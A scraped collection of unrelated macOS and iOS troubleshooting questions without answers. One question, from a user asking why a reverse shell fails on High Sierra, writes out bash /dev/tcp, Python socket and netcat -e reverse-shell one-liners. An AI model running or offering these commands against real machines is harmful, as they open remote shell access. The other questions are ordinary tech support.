texts: iCloud contains many hidden sensitive notes that I can't delete

texts:
When I delete notes from Notes.app, I expect them to be deleted. However, it's clear that iCloud is storing lots of old, deleted, confidential information, and I don't know how to get rid of it.

I can access the Notes.app database on my Mac (10.12), dump the contents, and then inspect the SQL dump with an editor:

$ cd ~/Library/Containers/com.apple.Notes/Data/Library/Notes
$ sqlite3 NotesV6.storedata
SQLite version 3.16.0 2016-11-04 19:09:39
Enter ".help" for usage hints.
sqlite> .output /tmp/dump.sql
sqlite> .dump
sqlite> .exit

Sure enough, the SQL dump has lots of sensitive notes:

...
INSERT INTO "ZNOTEBODY" VALUES(472,15,2,271,13,'secret notes

[REDACTED]
');
...

It appears that these notes have a reference to a parent folder that no longer exists.

If I try to blank out these notes, they come back with the next iCloud sync:

sqlite> update znotebody set zhtmlstring = '' where z_pk = 472;

If I sign out of iCloud, the notes disappear, but they reappear in the database when I sign back in.

How can I delete these notes permanently?


texts: Password not working (it said the password I typed in was wrong)

texts: Alright, so I just got my iMac back from the store and I login to it knowing my password was correct, later I was trying to download a JDK but a window pop up asking me for the password of the admin account. I proceeded to entered my password but it won't accept it, all it does is say that it's wrong although I typed the exact same password. I tried contacting many people that I know but it still isn't working. Is there anyone who can identify this problem for me? If so then please do tell me how to fix it.


texts: Mac Mini - Installing Windows 7 from external CD/DVD drive - hangs before installation with black screen

texts:
Really wanted to get Windows 7 working on my Mac for some Windows-specific applications.

Essentially, I followed all instructions after having updated my Mac's EFI Firmware, and have been left with a blank screen when it should be installing Windows. Running Lion with all updates applied, and booting off an external optical drive due to my Mini not having one.

Has anyone experienced a similar issue? Is it perhaps to do with my display?

Many thanks


texts: Why am I seeing subtle horizontal lines? (Intel HD Graphics 4000)

texts:
I can't take screenshot of it and a picture taken with an iPhone doesn't show it, but here is an exaggeration of what it looks like (visible all over the screen):

It appeared very recently; probably linked to upgrading to Mojave a few days ago.

Any solution that doesn't require a visit at the Apple Store / a repair shop would be greatly appreciated. Thanks.


texts: How do I get the path to a DMG (disk image) file given the mounted volume path?

texts: I tried hdiutil info -plist, but if I shift the DMG file elsewhere after mounting it, it doesn't update the DMG path. If I right click and select 'Get info' on the volume, I'm able to view the correct DMG path.


texts: A very loud sound shut down my internal MacBook Pro microphone

texts:
I have a problem with my internal MacBook Pro microphone.

When there is a very loud sound (like sneezing), my microphone shuts down. And I am forced to restart my computer in order for it to work again.

I searched in the parameters and when the microphone is shut down, OS X doesn’t detect any sound.

Before the loud sound :
(with ambient noise)

After the loud sound :
(with ambient noise)


texts: Use Command + Tab to view a minimized application window

texts:
Maybe it's related to this question, but when I use command + tab to cycle through open applications, if a leave the selection on an application that is minimized, I can select it, but it doesn't display over the previous application window.

How can I force command + tab to bring the selected application to my current view?

Currently, I switch to that application window, then I have to go with the mouse to the dock to click and bring it back to the foreground.

update: Here's the screen recording: https://youtu.be/wv_hssds7yQ


texts: How to handle bundle identifiers with spaces?

texts:
Lets assume my current directory is /Applications and it contains all my apps. Lets say I want to know the bundle identifier for Google Chrome:

$ mdls -raw -name kMDItemCFBundleIdentifier 'Google Chrome.app'
com.google.Chrome

Now let’s use that to locate the app:

$ mdfind kMDItemCFBundleIdentifier = com.google.Chrome
/Applications/Google Chrome.app

Now lets try the same for Tor Browser Bundle. First, get the bundle identifier:

$ mdls -raw -name kMDItemCFBundleIdentifier TorBrowser.app
org.mozilla.tor browser

Then, locate the app:

$ mdfind kMDItemCFBundleIdentifier = org.mozilla.tor browser

Nothing. I likely need to quote it:

$ mdfind kMDItemCFBundleIdentifier = 'org.mozilla.tor browser'

Nope, still nothing. Lets try something else:

$ mdfind kMDItemCFBundleIdentifier = 'org.mozilla.tor'
$ mdfind kMDItemCFBundleIdentifier = "org.mozilla.tor browser"
$ mdfind kMDItemCFBundleIdentifier = org.mozilla.tor\ browser
$ mdfind kMDItemCFBundleIdentifier = "org.mozilla.tor\ browser"
$ mdfind kMDItemCFBundleIdentifier = 'org.mozilla.tor%20browser'
$ mdfind kMDItemCFBundleIdentifier = 'org.mozilla.tor+browser'
$ mdfind kMDItemCFBundleIdentifier = 'org.mozilla.tor_browser'

Nothing works. This is the only app I ever had this issue with, and the only one I ever saw with a space in its bundle identifier. How can we reference it?


texts: Can't boot Windows 10 past loading animation under Bootcamp

texts:
I have a 2016 MBP with Sierra and have installed Windows 10 under Bootcamp. This has been running fine for a month or so but today I installed Docker in Windows and when it required a restart it restarted twice (both times requiring me to hold ALT to select Windows drive) and now does not get past the Windows 10 logo and cycling dots animation.

Do I need to reinstall Windows or will a USB bootable drive help? I have not created one yet.

TL;DR: I cannot get Windows 10 to boot past the loading animation after installing Docker in Windows.


texts:
I am thinking of obtaining an iPod (any generation) for recording slow-motion videos, like the ones that can be shot on an iPhone 5s and above.

Is there an iPod that can do slo-mo, or is an iPhone the only option?


texts: Is there any way to view saved wifi passwords on the iPhone?

texts: I've previously connected to a wifi network on my iPhone but I've no way of finding out the password. So is there any way to view saved wifi passwords on the iPhone?


texts:
I have an iPhone 5C with iOS 10, and I have several apps that are supposed to do things in the background - specifically I'm thinking of Google Photos, IFTTT, and Android Wear, although there are might be more that I haven't noticed yet - like FB Messenger, Allo, Duo, Skype, Life360, Hiya, etc...

For example, Google Photos is supposed to auto-backup my camera photos, IFTTT is supposed to perform actions on all newly created reminders and screenshots, and Android Wear is supposed to connect to my LG watch.

On my old Android phone, they just did their thing whether the app was running or not. On iPhone, apparently you have to open the apps, and just leave them running in the background for them to behave.

However, for each of the three I've listed, they seem to only work as expected for a limited time (no idea how much time), before they just stop working. For example, I'll add a reminder, take a photo, or take a screenshot, and the actions don't happen, even though IFTTT and Google Photos show that they are running if I flip through the open apps.

I select the IFTTT or Google Photos app the following day from the open apps list, and immediately the actions kick off. Same for my watch - it'll work for half a day or so, then suddenly refuses to connect until I switch to the Android Wear app on the phone, then it immediately connects.

Background App Refresh is enabled on all of these apps.

This question seems to indicate that these apps should work. If they weren't popular apps, I'd blame the apps themselves, but I doubt Google and IFTTT would leave this big a hole in their products.

Is there another setting I need to look at? Is there maybe some CPU or memory limitation that is blocking these apps that will be resolved with a newer more powerful phone?


texts:
After some time of inactivity, the keyboard - Microsoft Ergonomic Keyboard - starts acting as if the Option (Win) key is pressed. Pressing the key does not reset its state. The only solution is to flip the keyboard over, and take out the battery for a couple of seconds. Started happening after upgrading to Catalina 10.15.7.
It happens pretty regularly, but only if the computer is idle for maybe 10+ mins.
Anyone seen this?
UPDATE: This only happens on the external keyboard, the built-in keyboard is fine. It's probably a bug in Karabiner Elements, which I had to upgrade after upgrading the OS.
UPDATE: It wasn't Karabiner, I uninstalled it. Sounds like a keyboard driver bug.


texts: How to use plain text smileys (disable automatic emoji substitution) in Messages.app? In OS X 10.8 there was a setting for this in the app’s Preferences pane, but in OS X 10.9 that doesn’t seem to be the case anymore.


texts: macOS 10.12: MacBook Pro Retina takes hours (literally) to boot

texts:
I've got a mid-2012 15" MacBook Pro Retina (MacBook10,1 - i7-361QM - 8GB RAM) running Sierra 10.12.6 (16G1036) that can take, literally, several hours to boot. I am not able to boot into recovery or verbose (I think I gave up holding the command-r combo after 10 minutes when my hand started cramping), or diagnostics. I will note that it is operating as usual once it does boot.

Here are some of the symptoms I've observed:

with AC power connected, select "reboot" (normal situation)

shutdown initiates, screen goes black
startup chimes
... then ... nothing ... sometimes the keyboard lights up, sometimes not, sometimes it lights up when I press a key or trackpad
... wait ... wait ... wait some more ...
next day it's finally ready to use

without AC power connected (this has happened once)

same as above, except after sitting all day with a black screen and no apparent activity ...
connect AC power, immediately get startup chimes (I haven't touched the keyboard or trackpad) and normal startup (progress bar and everything) occurs within a minute or two

with AC power connected, start reboot

next morning still not started, unplug and take to work
open bag at work to discover things are very warm
open lid, still nothing ...
hold power down for 10s+, press power again, repeat several times ...
get startled when the login screen appears suddenly only 1 minute after attempting power on

Ran EtreCheck (summary, can make full report available if it will help):

SSD SM256E disk0, Trim: Yes

disk0s1: FAT32 not mounted, EFI, 210MB
disk0s2: CoreStorage, not mounted, 250.14GB
disk0s3: Journaled HFS+, not mounted, Recovery, 650MB

Vitual Disks

disk1, Journaled HFS+, 246.77GB, 20.53 GB free

Kernel Extensions

org.virtualbox.kext.VBoxDrv, *.VBoxNetAdp, VBoxNetFlt, VBoxUSB all 5.1.22
com.intel.kext.intelhaxm 6.0.5

The last diagnostic event EtreCheck reports is a Kernel Panic several days ago, and, IIRC, I was running the Unity editor, VS Code and possibly playing with Metal in Unity, so that's not completely unexpected. EtreCheck hasn't flagged anything as a problem. I've been running Virtual Box since long before the problem started, and I didn't upgrade it around the time the problem started. The Intel HAXM might have been installed or upgraded around the time I started having problems, but I'm only about 20% confident in that. I'm pretty sure I had the same issues with it removed.

I don't see anything obvious in the logs, but there are also a lot of log entries and I'm not entirely sure what to look for.

My battery is reporting "Service Battery" (cycle count = 895) and it definitely doesn't last as long as it used to (probably 3-6 hours at best).

I've done SMC reset, and NVRAM reset. Disk Utility First Aid reports that the volume bitmap needs "minor repair for orphaned blocks" and an invalid volume block free count and that I need to run First Aid from Recovery, which, as I've previously mentioned, I can't get into.

Any suggestions on what to look for in the logs, or other things to try?

UPDATE: Tried booting from a bootable USB created from High Sierra installer (that was already downloaded). Set startup disk from System Prefs, and that resulted in the same black screen/no boot. Held power down to force off, then held option to get disk selector, but only got the internal drive showing (the USB activity LED did light up during the startup). I selected that and got the usual progress bar then the login screen, but after logging in everything froze and the screen went black again. That's something new.

UPDATE 2: And now Startup Manager won't load anymore.


texts:
I'm trying to create a reverse shell listener using High Sierra but nothing seems to work.

The bash command kinda just hangs in the terminal and times out.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

The python command errors with "Connection refused" when using python or python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

the netcat command errors with "nc: invalid option -e"

nc -e /bin/bash 0.0.0.0 8080

I've tried other solutions I've found online but you get the idea...

Is it possible to create a reverse shell (preferably with access to bash) using High Sierra?

specifications:

sh-3.2# system_profiler SPSoftwareDataType
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03


texts: Why does a word doc attachment on my Wife’s phone show as winmail.dat?

texts:
Note: I understand the general issues about Outlook encoding attachments, but this is about a specific device.
Our school sends out a newsletter as a .doc attachment. My Wife and I both have iPhone SE’s. I can open the attachments fine, but on my Wife’s it shows as a winmail.dat attachment and she can’t open it. We both have the same mail provider (a private mail server). Even if I forward the email I received, her phone shows it as winmail.dat. It opens OK if she views it on webmail so this is very specific to just her phone.
Her iPhone is up to date, mine is running the iOS 12 beta, but she has been having this problem before I installed the beta so I don’t think it’s related to the iOS version.
As far as I can tell, there are no settings on the phone that might control this. Any ideas?


texts: Why can't I connect to the internet on my iPhone 4?

texts:
I've just bought an iPhone 4 and I want to connect to the internet but I can't do so.

Do I need an apple id to use an iPhone?

Definitely I've contacted my dataplan service and they are saying I should be able to connect to the internet now. But i can't!

I've waited over 3 weeks but still no internet. These are the messages i get from 1627:

  May 8, 2011 5:33 PM

  Dear Valued Customer, your GSM Mi
  World Mobile service has been
  activated as requested.

  Dear Valued Customer, your GSM Mi
  World Mobile service has been
  activated as requested.

  May 16, 2011 1:08 PM

  Thank you for re-contracting your M1
  line with IPHONE 4, 16GB, WHITE.
  Please call us at 1627 immediately if
  you did not subscribe to M1
  service(s).

I'm thinking there's something I need to do in settings but I don't know what.. Right now if i open safari it just won't connect.


texts: Upgrade direct install software from App Store

texts:
I have Microsoft Office installed on my Macbook Pro which I downloaded from Microsoft's website. I see it is also available on App Store. Is it possible that the future upgrades to software can be shown within the App Store, although I downloaded and installed it directly from elsewhere?

This will prevent me uninstalling the setup completely and downloading and installing a new one from the App Store.


texts: Should I defrag my SSD before creating a partition for Boot Camp?

texts:
I have a 500GB SSD in my MacBook Pro. I have been using my laptop for over three years - and it was migrated using Migration Assistant from a previous laptop that I had been using for five years before that, so there is probably a lot of crud accumulated.

I have manually cleaned up a lot of space - I have about 390GB free on this hard drive now.

I want to set up Boot Camp to dual boot into Windows, and will crate a partition as part of that process.

I know that HFS+ automatically defragments files normally, but only those less than 20mb.

I also know that SSDs do not need to be defragmented, as there is no performance penalty to fragmentation. I know that the process of defragmentation may in fact be detrimental, since an SSD only has a certain limit of writes in it's usable life, and defragmentation involves reading data for one place on the drive and writing it to another.

I have a licenced copy of iDefrag from a long time ago when I had spinning platter hard drives and worked with large video files.

So, my question is, is there an advantage to defragmenting the drive? To move all data into one part of the drive? As a once-only thing, only in preparation of partitioning the drive?


texts: Is there a known reason why the filesystem in iOS is case-sensitive?

texts:
Developing an iOS apps, there was a thing that drove me mad: executing the same app that created the same files at the same path, the iPhone simulator worked the correct way, while a real iPhone didn't. I eventually discovered that i mistyped a character (uppercase instead of lowercase) and consequently the iPhone created a folder starting with an uppercase character, while putting the file in a path with that folder starting with the lowercase version of that character. The simulator however, didn't care of that difference. I suppose that was because the simulator, running on a case-insensitive system (OS X/mac OS), inherits its "case-insensitivity", while the iPhone (seems to me) is natively case-sensitive.

Is there any known explanation/documentation by Apple (or other trusted sources) on why the iOS filesystem is case-sensitive, given that is an OS based on a case-insensitive one (OS X)?


texts: Using appleScript for remote auto login to macOS

texts:
I'd like to be able to log in my computer through Apple Remote Desktop (SSH) by running a script while the remote computer is running the loginWindow.

An ideal script would automate the process of selecting the "Other..." tile (see pic1), and then insert username and password fields, and finally press the submit button (see pic2).

Based on what I've found on the web, I came up with the following solution which meant to perform the last 2 steps only(2 and 3) while I'm already pressed the "Other..." tile manually and I'm on the second screen :

set username_ to "myself"
set password_ to "mypass"

tell application "System Events"
tell process "SecurityAgent"
get properties
    if exists (text field 1 of window 1) then
        set value of text field 1 of window 1 to username_
        set value of text field 2 of window 1 to password_
    end if
    click button "Allow" of group 1 of window 1
end tell
end tell

however, I'm getting the following error :
/tmp/my.scpt:119:129: execution error: An error of type -610 has occurred. (-610)

Perhaps anybody can help me fix my script, or how to debug it properly ?


texts:
After I put my MacBook to sleep, like I always do; the following day,  I open the lid and it’s off for some reason. I turn it on and it powers up. I select my user account and enter the password. It loads and then freezes/hangs about half way through. It then reboots and loads some weird screen saying and macOS installation failed either restart, shut down, show log/save log.

What the is that exactly? Did my OS got corrupted for some reason? What should I do now?


texts: OS X copy paste into Terminal adds fdbf bfb9 b083 to beginning and end of selection

texts:
For the life of me, I can't figure this out.

When using a browser (doesnt matter which), if I select text, then paste in Vim or Neovim, I see characters added to the beginning and end of my selection.

For example, I select "answer" from this page, then paste it over in Terminal I get:

??????answer??????
Saving this pasted data to file with .bin extension and then opening in Vim with this auto command helper:

augroup Binary
   au!
   au BufReadPre  *.bin let &bin=1
   au BufReadPost *.bin if &bin | %!xxd
   au BufReadPost *.bin set ft=xxd | endif
   au BufWritePre *.bin if &bin | %!xxd -r
   au BufWritePre *.bin endif
   au BufWritePost *.bin if &bin | %!xxd
   au BufWritePost *.bin set nomod | endif
augroup END

I get this output:

0000000: fdbf bfb9 b083 616e 7377 6572 fdbf bfb9  ......answer....
0000010: b083 0a

                       ...

So, you can see that I get

fdbf bfb9 b083

added to the beginning, and I get

fdbf bfb9 b083

added to the end.

Any ideas on what this is about?

The only recent major change I can remember is upgrading OS X to Yosemite, so sure that's potentially a large update.

I suspect Terminal is the source of the issue. I've been able to use iTerm2 without this problem.

Also, I have tried to select "answer" from this page and then in both iTerm2 and Terminal I run this command:

pbpaste|od -x

which gives me

0000000 6e61 7773 7265 0000006

So, the clipboard has "answer" and pbpasting it in both iTerm2 and Terminal gives the same output, but cmd-V pasting into nano, stock vi (with -u NONE), MacVim (with -u NONE) and Neovim all give me a the ?????? displayed and then on save, encode the fdbf stuff into the file.

Stumped!!!


texts: Will I have to pay for photos sent if my friend has switched iMessage off?

texts:
Both my friend and I have iPhone 6 and we iMessage often.  I just sent him three photos but it seems he has switched iMessage off for some reason as the text I sent has delivered as green instead of blue and I didn't get 'delivered' or 'read.'

I just want to know if I'll now have to pay for sending those photos as I always do whenever I send photos to non iPhone users?


texts: Connect LED Cinema Display (Mini DP) via HDMI

texts: Is there any way I can connect an LED Cinema Display via the HDMI port on my MacBook Pro with Retina display? I know there are various dongles that adapt for HDMI cables from Mini DP, but if I were to plug such an adapter into the back end of a LED Cinema Display, and connect it to my rMBP via an HDMI cake, would that configuration work?


texts: How much RAM does the 4th Gen iPod Touch have?

texts:
How much RAM do these iPods ship with?

The iPhone 4 has 512MB, and older iPod Touch 3rd Gen have 256MB (same as the iPad).

Do the new iPod Touch have 512MB as the iPhone 4 (what I would expect) or 256MB?


texts: How to get synthesized disk root device from shell?

texts:
I have quite a few volumes (over 10) on a machine and I need to ascertain the parent volume of synthesized volumes for APFS drives.

If you execute diskutil list you get a list of volumes, but this list includes both root volumes and synthesized volumes, for example:

...
/dev/disk11 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *2.0 TB     disk11
   1:                        EFI EFI                     209.7 MB   disk11s1
   2:                 Apple_APFS Container disk16        2.0 TB     disk11s2

/dev/disk12 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *4.0 TB     disk12
   1:                        ZFS backup_tank             4.0 TB     disk12s1
   2: 6423532B-1232-1121-1532-062424236333               67.1 MB    disk12s9

/dev/disk13 (synthesized):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      APFS Container Scheme -                      +2.0 TB     disk13
                                 Physical Store disk0s2
   1:                APFS Volume users_drive             1.2 TB     disk13s1

/dev/disk14 (internal, virtual):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        +XX.X TB    disk14
   1:                ZFS Dataset storage                 XX.X TB    disk14s1

/dev/disk15 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.1 GB   disk15
   1:                        EFI EFI                     209.7 MB   disk15s1
   2:                 Apple_APFS Container disk10        499.2 GB   disk15s2
   3:       Apple_KernelCoreDump                         655.4 MB   disk15s3

/dev/disk16 (synthesized):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      APFS Container Scheme -                      +2.0 TB     disk16
                                 Physical Store disk11s2
   1:                APFS Volume system_2                847.9 KB   disk16s1

Notice how in the above it is difficult to ascertain which volume the synthesized volume disk16 actually belongs to.

Is there a way to get this information from the shell quickly so that it lists these together?


texts: I run Little Snitch to monitor my network traffic. However, on Mountain Lion, power nap runs while my computer is sleeping so I can't approve new rules for Little Snitch to allow power nap to connect to Apple and the App Store. What rules should I add to Little Snitch to allow power nap to operate properly?


texts:
Wondering how to turn up the volume on my computer from another computer.

set volume 4 of machine remMachine

doesn't work
Any suggestions?


texts: How to take a picture with the mac webcam in PNG?

texts:
Photo Booth saves photos in JPG and I find it a bit tedious to convert from JPG to PNG. I’m not using Automator anymore for this.

For some reason when I use imagesnap, it can only save in JPG.

So what software program could I use to make my webcam pictures in PNG? There is a Python script written by machine learning researchers that can only accept PNG (see here).

imagesnap -h
Capturing image from device "<imagesnap-master
USAGE: ./imagesnap [options] [filename]
Version: 0.2.5
Captures an image from a video device and saves it in a file.
If no device is specified, the system default will be used.
If no filename is specfied, snapshot.jpg will be used.
JPEG is the only supported output type.
  -h          This help message
  -v          Verbose mode
  -l          List available video devices
  -t x.xx     Take a picture every x.xx seconds
  -q          Quiet mode. Do not output any text
  -w x.xx     Warmup. Delay snapshot x.xx seconds after turning on camera
  -d device   Use named video device


texts: VMWare Fusion: Could not open /dev/vmmon error

texts:
After updating to Yosemite the only trouble I have is that VMWare Fusion (Professional Version 5.0.5 if that helps) fails to start showing following error:

  Could not open /dev/vmmon: No such file or directory.
  Please make surethat the kernel module `vmmon' is loaded.

I've tried to google the issue but the only relevant thing found was this:

  The Mac has a certain amount of devices it can register in the /dev/ directory ...,  virtual devices like virtualization software and VPN clients also create devices in this directory quickly filling up the number to the limit. To solve this I went through my installed applications and removed every VPN client and VM software that I don’t require any longer and rebooted my machine. After the reboot everything worked immediately.

But even if this is true, I just can not get rid of my VPN client for example. So, I still have no idea what steps I should take to solve the issue. I'll be very much obliged for any hint how to fix this problem.


texts: Getting Syntax Error "Can’t get every text item." while creating new Service on Mac

texts:
I am getting the following syntax error while creating new Service on Mac while using below script, I have attached screenshot as well:

  "Can’t get every text item."

on searchReplace(theText, SearchString, ReplaceString)
        set OldDelims to AppleScript's text item delimiters
        set AppleScript's text item delimiters to SearchString
        set newText to text items of theText
        set AppleScript's text item delimiters to ReplaceString
        set newText to newText as text
        set AppleScript's text item delimiters to OldDelims
        return newText
end searchReplace

 on run {input, parameters}
        set myClip to the input
        set mytext to searchReplace(myClip, "<", "")
        set mytext to searchReplace(mytext, ">.", "")
        set mytext to searchReplace(mytext, ">", "")
        set mytext to searchReplace(mytext, "smb://", "\\\\")
        set findIt to "/"
        set replaceIt to "\\"
        set mylocation to searchReplace(mytext, findIt, replaceIt)
        return mylocation
end run


texts: Why is the usage and standby time always the same on my iPhone?

texts:
Why do the usage and standby times on my iPhone 7 Plus always show the same value?

I have tried restarting my phone and I have let it drain until it turns itself off to see if that would fix the problem (it has in previous versions of iOS) but does not seem to now. I assume this is due to some background process that refuses to quit. If so, how can I find out which one it is and how can I fix it? I would like to be able to track my battery usage properly if possible.


texts: What is the Bonjour option in iMessage for?

texts: iMessage has a Bonjour option but there isn't any explanation on what this all is about. So what can I do with this?


texts: How do I have my MacBook Pro do Auto signature in my reply email

texts: I can see how to have the email add a signature in replies,  but how do I set it up to be there automatically.


texts: My Apple ID has been locked because of security problems. Now I can't access or recover it. When will Apple delete this account? I want to re-create it after it is deleted.


texts:
Are there any jailbroken iPhone (iOS) emulators available for security research?

I would like to research and experiment with iOS security; however, I don't have jailbroken iPhones with different versions of iOS to play with.

Are there any way to obtain jailbroken iPhone emulators for security research, either from Apple or from public repository?


texts: How can I remove a program from "Open With"?

texts: I recently installed VMWare Fusion and added Windows 7.  Now when I right-click on a text file and choose Open With, there's an option to open with Notepad in Windows 7.  This is not something I want enabled.  How can I remove this choice?


texts: Do third-party USB ethernet adaptors work in Macbook Pro Retinas?

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There seems to be conflicting information on the web, so I wanted to check if there are any problems buying a third party ethernet adaptor (eg this one). This is for a current (mid 2014) 15" rMBP.

I'd just like to save a few dollars ove the Apple Thunderbolt one.


texts: How to chian two External Monitors with Macbook Air 2017 13"

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About the Mac:

Mac OS Mojave
Version 10.14.4 (18E226)
MacBook Air (13-inch, 2017)

I wish to connect two external monitors with following specifications with my Apple device.

one pure HDMI
other VGA (converted to HDMI using a VGA to HDMI Adapter)

My device has one mini-display port. I have bought a (not an apple product) 3-in-1 mini-display port to (DVI, HDMI, VGA) adapter.

I have two options to connect.

1. Connect pure HDMI, VGA based monitors into one 3-in-1 mini-display port adapter. (FAILS!)
2. Connect the pure 3-in-1 Adapter to a splitter (another device that accepts one HDMI input and spilts into 4 HDMI outputs) using HDMI cable and then connect the two monitors using HDMI outputs. (WORKS!)

The second method is able to connect two monitors but my Apple device shows only one device connected in Display Settings and the two external monitors mirror each other but I want a chain display.

Any help?


texts: How to add hyperlinks to local files in Numbers?

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How do I add a hyperlink to a local file?
I know how to add a hyperlink to a website, so I tried something like file:///Users/MyUser/Documents/Invoices/Some%20Stuff.pdf
However, adding this path to the hyperlink won't make Numbers open the file.
Any ideas?


texts: What do the "Other" and "Developer" options in Spotlight index?

texts:
In Spotlight, you can set what types of items you want to be indexed and searchable.  Most of the options are fairly straightforward: "Contacts" searches your contacts, "Images" for images, and so on.  However, there are two options that I don't understand: "Other" and "Developer".

The Search Results panel is rather fine grained.  Why is there, what I'm guessing to be, a catch all option with "Other" and what does it catch?  Similarly, what does the "Developer" option index?

I looked in the "Spotlight preferences" page of the "Mac Help", but from what I can tell, it doesn't detail it.  In fact the "Narrow the scope of your searches" topic details everything but those two options under the "Search by the type of items" section:

Type of item        Keyword
-----------------------------------------
Apps                kind:application
                    kind:applications
                    kind:app

Contacts            kind:contact
                    kind:contacts

Folders             kind:folder
                    kind:folders

Email               kind:email
                    kind:emails
                    kind:mail message
                    kind:mail messages

Calendar events     kind:event
                    kind:events

Reminders           kind:reminder
                    kind:reminders

Images              kind:image
                    kind:images

Movies              kind:movie
                    kind:movies

Music               kind:music

Audio               kind:audio

PDF                 kind:pdf
                    kind:pdfs

Preferences         kind:system preferences
                    kind:preferences

Bookmarks           kind:bookmark
                    kind:bookmarks

Fonts               kind:font
                    kind:fonts

Presentations       kind:presentation
                    kind:presentations


texts: File associations for pdfs keep getting set to open with Word

texts:
Not sure if it's a mac-specific problem (let me know if I should move it), but every time I try to open a pdf file, Microsoft Word tries (and fails) to open it. I have tried "open with..." > Preview with the "always open with" box checked on multiple occasions, and it works for a while, but by the next day it is always set back to opening with Word. Any ideas what the culprit could be?

Update: this seems to be happening with txt files too... I never try to open either pdfs or txt files in Word, so I'm not sure how it keeps getting reset...


texts: My iPhone 6 is frozen after resetting it while jailbroken

texts: My friend wanted to jailbreak my phone and she took it and jailbroke it then I told her I didn't want it so I restarted it and now my phone is stuck on the apple logo with a loading bar at the bottom. Is there a way I can fix it? Will apple fix it if I tell them?


texts: Can I use AirportExpress model A1088 to connect to TimeCapsule for AirTunes only?

texts:
I have a home wireless setup running on TimeCapsule (network on n). I would love to have AirTunes and it happens that a friend of mine can give me an old AirportExpress base station. However, this being an old b/g version (model A1088) I am not sure whether I can use it.

I don't need to extend my wireless, I can connect AiportExpress with TimeCapsule using the cable and I only want to use AE for AirTunes (to connect to my stereo), nothing else. Can I do it?

thanks!
yot


texts: Activate unsubsidized iPhone 5 - can I later switch carriers?

texts:
I'm living in Germany and recieved an unused iPhone 5 A1429 without SIM or contract as a gift. I'm planning to use it abroad, likely with prepaid SIM cards.

The phone is not activated yet and I am very much afraid of it being locked to the first network or SIM card brand I stick in. Is that what happens during activation? What's the purpuse of activation?

Unfortunately I could not find any useful information from Apple, other than I have to have a SIM card inserted to activate the unit - WiFi won't do.


texts: Recommend me a productivity/workflow tool

texts:
Can anyone recommend me a productivity/workflow tool that does the following?

I would like it to be task based
I would like to be able to set:

a due-date
priority
status (for example: started, paused, waiting for input, finished, cancelled)

I would like to be able to link directly to one or several emails in my email program (OS X Mail.app or Thunderbird preferred)
I would like to write notes about each task
I would like to be able to add attachments (documents and images)
Some calendar integration would be nice


texts: Audio issue on 2nd device when connected to Macbook via Bluetooth headphones

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I have been using a JBL Tune 750 bluetooth headphones for the past couple of months and haven't managed to find a solution to this problem
While connected to a MacBook Pro via Bluetooth, the multi-connect feature of the headphone seems get problematic. The headphones support 2 devices to be connected at the same time but when one of the devices is the MacBook, the other device (which is an Android phone) keeps getting dropped off.
In addition to that, when it is connected, the audio has a couple of issues on the 2nd device:

The audio playback cuts off for a few milliseconds every 2 seconds. For example: If I am playing a video that says

And I am Iron Man

I hear

A-d I a- Ir-n Ma-

*The dash represents the audio cutting off

When I dial/receive a call on the phone, the audio becomes a distorted mess (on the call). The best I can describe it as; it sounds like the audio and a 0.5 sec delayed version of itself is being overlaid on each other. It gets fixed if I disconnect the headphone from the Macbook

I have tested this with two Windows devices which work perfectly fine. No such audio issues come up when I play audio or received a call on the phone while connected to them.
Question: Anyone else know why that could be happening? If so, what could be a possible fix?


texts: Paste stops working ("CFPasteboardRef: Lock timeout")

texts:
Pasting from the clipboard stopped working on my Mac. Nothing is pasted, and the following line appears many time in syslog.

Apr  5 **:**:** *** com.apple.WebKit.WebContent[6583] <Warning>: CFPasteboardRef CFPasteboardCreate(CFAllocatorRef, CFStringRef) : Lock timeout

This seems related to a clipboard tool I installed ("FlyCut"), but I have since uninstalled. I can see no running process related to the tool (using ps -ef).

Rebooting temporarily solves the problem. Is this a virus? At any rate, how do I get rid of the problem? Found nothing of value searching for the log message. Malwarebytes reports nothing.

Update: Reported the issue to Apple, and they said it was caused by an app called "Time Out". They are still working to resolve the problem. In the meantime, uninstall this app.


texts: Long wait to get Hotspot feature going on Verizon iPhone 4S

texts: How long does it take between calling Verizon to set up the Hotspot feature until you are actually able to use it?


texts: AppleScript - echo into openssl AES encryption - is there a way to crack/snoop thru logs?

texts:
Don't know if this question is better off here, or in the Linux world...but I need a decent answer.. :)

I am using Applescript to pull data from fields in a spreadsheet or database, shove them directly into terminal for encryption.

My Applescript includes a line like:

echo "thisismydatastring and my saltbits"  | openssl aes-256-cbc -k thisismypassword -base64

My question:  is there a way one could filter thru log files to catch this plaintext instance of the password?

Is there a better way to prevent hacking?

If sending an "echo" into terminal is traceable, is there another way I could push something into Terminal where it doesn't hit any logs (and where AppleScript can get the results)?


texts: How to rename an external hard drive in Mac OS X?

texts:
I have 2 external hard drives supplied by the same vendor.
They both have the same name.
Using them with the mac is problematic when they have the same name.
Time Machine, for example, tries to back up to the external drive with this name.
I would like to simply change the name of one of these external hard drives.

Multiple forums have suggested 2 solutions:
1: In Finder, just change the name of the drive like you would any folder
2: Use Disk Utility

Neither of these solutions work for me.
The name of the external drive is read only in both applications.


texts: IOS 7 - Google Calendar - Fantastical edit mode shows GMT timezone

texts:
I have an iphone-5, ios-7.  I use fantastical 2 to manage multiple google calendars.  When I create an event the event is created in my LOCAL time-zone (pst).  When I view the event the event is displayed in my LOCAL timezone.  However, when I want to edit the event, the time shows up in GMT...

Originally Time Zone Support was turned off.

